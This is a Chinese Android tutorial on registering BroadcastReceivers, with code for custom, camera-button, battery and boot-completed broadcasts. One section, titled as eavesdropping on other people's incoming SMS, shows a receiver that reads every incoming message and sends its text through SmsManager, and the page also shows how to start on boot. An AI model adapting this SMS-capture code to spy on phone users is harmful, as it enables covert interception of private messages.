http://developer.android.com/reference/android/content/BroadcastReceiver.html

译文: http://www.2cto.com/kf/201112/115112.html

注册BroadcastReceiver有两种方式:

一般如果在代码里面注册,就把广播写在代码里面,在xml文件中注册就单独写一个类。

  动态注册:

  一般在onResume()方法里面注册:

package com.test;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
public class TestBroadcastReceiver extends Activity
{
MyReceiver myReceiver;
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
}
@Override
protected void onResume()
{
myReceiver = new MyReceiver();
IntentFilter filter = new IntentFilter();
// 向过滤器中添加action
filter.addAction("com.test");
// 注册广播
registerReceiver(myReceiver, filter);
Intent intent = new Intent();
intent.setAction("com.test");
intent.putExtra("key", "value");
// 发送广播
sendBroadcast(intent);
super.onResume();
}
@Override
protected void onPause()
{
unregisterReceiver(myReceiver);
super.onPause();
}
class MyReceiver extends BroadcastReceiver
{
private static final String ACTION_TEST = "com.test";
@Override
public void onReceive(Context context, Intent intent)
{
if (intent.getAction().equals(ACTION_TEST))
{
Bundle bundle = intent.getExtras();
System.out.println(bundle.get("key"));
}
}
}
}

  静态注册:在AndroidManifest.xml中用标签注册,并在标签内用标签设置过滤器。

    <application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<activity
android:label="@string/app_name"
android:name=".TestBroadcastReceiver" >
<intent-filter >
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name=".MyReceiver" >
<intent-filter >
<action android:name="com.test" />
</intent-filter>
</receiver>
</application>
public class MyReceiver extends BroadcastReceiver
{
private static final String ACTION_TEST = "com.test";
@Override
public void onReceive(Context context, Intent intent)
{
if (intent.getAction().equals(ACTION_TEST))
{
Bundle bundle = intent.getExtras();
System.out.println(bundle.get("key"));
}
}
}

然后可在activity里发送广播。

----------------------------------------------------------------------------------------------------------------------------

上面是接受自定义的广播, 我们还可以接受系统发出的广播:

以下是个按下照相机之后,启动一个服务的例子:

1, 新建SimpleBoradcastReceiver extends BroadcastReceiver

public class SimpleBoradcastReceiver extends BroadcastReceiver
{
@Override
public void onReceive(Context context, Intent intent)
{
String action = intent.getAction();
if (action.equals(Intent.ACTION_CAMERA_BUTTON))
{
// 照相机按下后需要做的事,这里启动一个服务
/**
* 如果broadcast reveiver需要处理耗时的任务,就应该启动一个服务而不是线程,
* 因为在执行完onReceive()方法后,BroadcastReceiver实例就即刻进入非活动状态,而被系统杀死。
*/
context.startService(new Intent(context, SimpleService.class));
}
}
}

2, 用MainActivity来启动SimpleBoradcastReceiver

public class MainActivity extends Activity
{
SimpleBoradcastReceiver aSimpleBoradcastReceiver = new SimpleBoradcastReceiver();
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
// 照相按钮的过滤器
IntentFilter intentFilter = new IntentFilter(
Intent.ACTION_CAMERA_BUTTON);
// 也可以继续增加你想要监听的行为
intentFilter.addAction(Intent.ACTION_PACKAGE_ADDED);
// 启动broadcast receiver, 使用registerReceiver()方法将intentFilter传递给它, 启动以后只要有intentFilter里监听的行为发生,就会进入到aSimpleBoradcastReceiver的onReceive方法中去执行。
registerReceiver(aSimpleBoradcastReceiver, intentFilter);
}
/**
* 如果销毁activity, receiver也要被释放掉(非必需,但很有用)。
*/
@Override
protected void onPause()
{
super.onPause();
unregisterReceiver(aSimpleBoradcastReceiver);
}
}

3, SimpleService

public class SimpleService extends Service
{
@Override
public IBinder onBind(Intent arg0)
{
return null;
}
@Override
public void onCreate()
{
super.onCreate();
// do something...
}
@Override
public void onDestroy()
{
super.onDestroy();
// do something...
}
}

----------------------------------------------------------------------------------------------------------------------------
窃听别人接收到的短信:

IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver, filter);
public class IncomingSMSReceiver extends BroadcastReceiver
{
private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
@Override
public void onReceive(Context context, Intent intent)
{
if (intent.getAction().equals(SMS_RECEIVED))
{
SmsManager sms = SmsManager.getDefault();
Bundle bundle = intent.getExtras();
if (bundle != null)
{
Object[] pdus = (Object[]) bundle.get("pdus");
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++)
messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
for (SmsMessage message : messages)
{
String msg = message.getMessageBody();
String to = message.getOriginatingAddress();
sms.sendTextMessage(to, null, msg, null, null);
}
}
}
}
}

在AndroidManifest.xml文件中添加以下权限:

<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 -->

Android还有很多广播Intent,如:开机启动、电池电量变化、时间已经改变等广播Intent。
    接收电池电量变化广播Intent ,在AndroidManifest.xml文件中的<application>节点里订阅此Intent:

<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.intent.action.BATTERY_CHANGED"/>
</intent-filter>
</receiver>

接收开机启动广播Intent,在AndroidManifest.xml文件中的<application>节点里订阅此Intent:
<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
并且要进行权限声明:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
这样开机后onReceiver 就能收到开机的intent,然后自动启动你的service 或activity来做需要的事情


												

Broadcast Receiver @相关推荐

  1. android 组件(activity,service,content provider,broadcast receiver,intent)详解

    Android应用程序由若干个不同类型的组件组合而成,每一个组件具有其特定的安全保护设计方式,它们的安全直接影响到应用程序的安全.Android应用程序组件的主要类型有:活动(Activity),服务 ...

  2. 007 Android之Broadcast Receiver

    文章目录 广播的概念 广播的类型 广播接收实例 IP拨号器 开机自启动 监听应用安装和卸载 广播的概念 现实中的广播:电视台发送广播,使用收听机可以收听广播,得到广播信息 Android中的广播:系统 ...

  3. Android静态安全检测 - Broadcast Receiver组件暴露

    Broadcast Receiver组件暴露 - exported属性 一.android:exported 该属性用来标示,当前Broadcast Receiver是否可以从当前应用外部获取Rece ...

  4. Qt文档阅读笔记-Broadcast Receiver Example解析

    这篇博文的例子是说明如何在局域网上搭建广播包接收端. 这里使用了Qt Network API,搭建本地广播包接收端. 结构如下: 代码如下: receiver.h #ifndef RECEIVER_H ...

  5. Qt文档阅读笔记-Broadcast Sender Example与Broadcast Receiver Example解析

    目录 Broadcast Sender Example Broadcast Receiver Example Broadcast Sender Example 调用QtNetwork API实现发出广 ...

  6. Android 用 broadcast receiver组件实现音乐盒

    Android 用 broadcast receiver详解用例 Android 用 broadcast receiver详解用例 一.BroadcastReceiver概述 1.BroadcastR ...

  7. android 四大组件Broadcast Receiver

    本文介绍Broadcast Receiver,包括几部分内容:Broadcast Receiver概述及实例.自定义Broadcast Receiver.Broadcast Receiver的实现细节 ...

  8. Broadcast Receiver

    (1)Broadcast Receiver简介 Broadcast Receiver(广播接收者)用于接收广播Intent,广播Intent的发送是通过调用Context.sendBroadcast( ...

  9. Broadcast Receiver的两种注册方法

    在Android 中,Broadcast Receiver有两种注册形态,一种是在java文件中进行注册,方法如下: IntentFilter intentFilter = new IntentFil ...

最新文章

  1. 解题报告:POJ 3281 Dining(最大流 / “三分图”建图)
  2. 小米今日正式进军越南市场 借助合作方铺渠道分销
  3. android 加载器loader详解
  4. SoapSerialization——手机号码归属地
  5. python调用robotframework api_python+robot framework接口自动化测试
  6. MySQL压测工具--sysbench
  7. Windows Forms Programming In C# 读书笔记 - 第三章 Dialogs (2)
  8. linux反编译lua工具,lua脚本编译及反编译工具下载
  9. 第九届“泰迪杯”数据挖掘挑战赛C题-建模思路参考
  10. 在matlab上利用fft进行信号频谱分析_全面分析:频谱分析仪原理技术(收藏必备)...
  11. 颜色特征识别—识别红色,黄色,绿色,蓝色排针的数量
  12. 中国气象网 气象数据开放平台 API使用方法 (Android)(已废弃)
  13. fastposter v2.6.2 发布 程序员专属海报生成器
  14. 腾讯新游侍魂上线,侍魂:胧月传说安卓模拟器电脑版详细教程
  15. .net 4.0 安装到IIS
  16. AS-GCN【复现】ModuleNotFoundError: No module named ‘processor.demo‘问题
  17. 嵌入式linux pam,PAM介绍(一)
  18. acwing280.陪审团 01背包
  19. 关于Neuro-Fuzzy Designer的使用
  20. Google's BBR拥塞控制算法如何对抗丢包

热门文章

  1. Kettle(3):快速入门
  2. 用c语言实现的FFT
  3. 基于FPGA的FFT
  4. Java中String 字符串与List<String>互转
  5. ROS:AUSU Xtion Pro Live OPENNI2
  6. 机器学习基础(七):概率图模型(HMM、MRF、CRF、话题模型、推断方法)
  7. 3-python 函数篇
  8. React Native开发之——Webstorm开发RN配置
  9. 构造器(也称构造方法)
  10. C语言猴子吃桃问题。猴子第一天摘下若干个桃子,当即吃了一半,还不过瘾,又多吃了一个。第二天早上又将剩下的桃子吃掉一半,又多吃了一个。以后每天早上都吃了前一天剩下的一半零一个。到第10天早上想再吃时..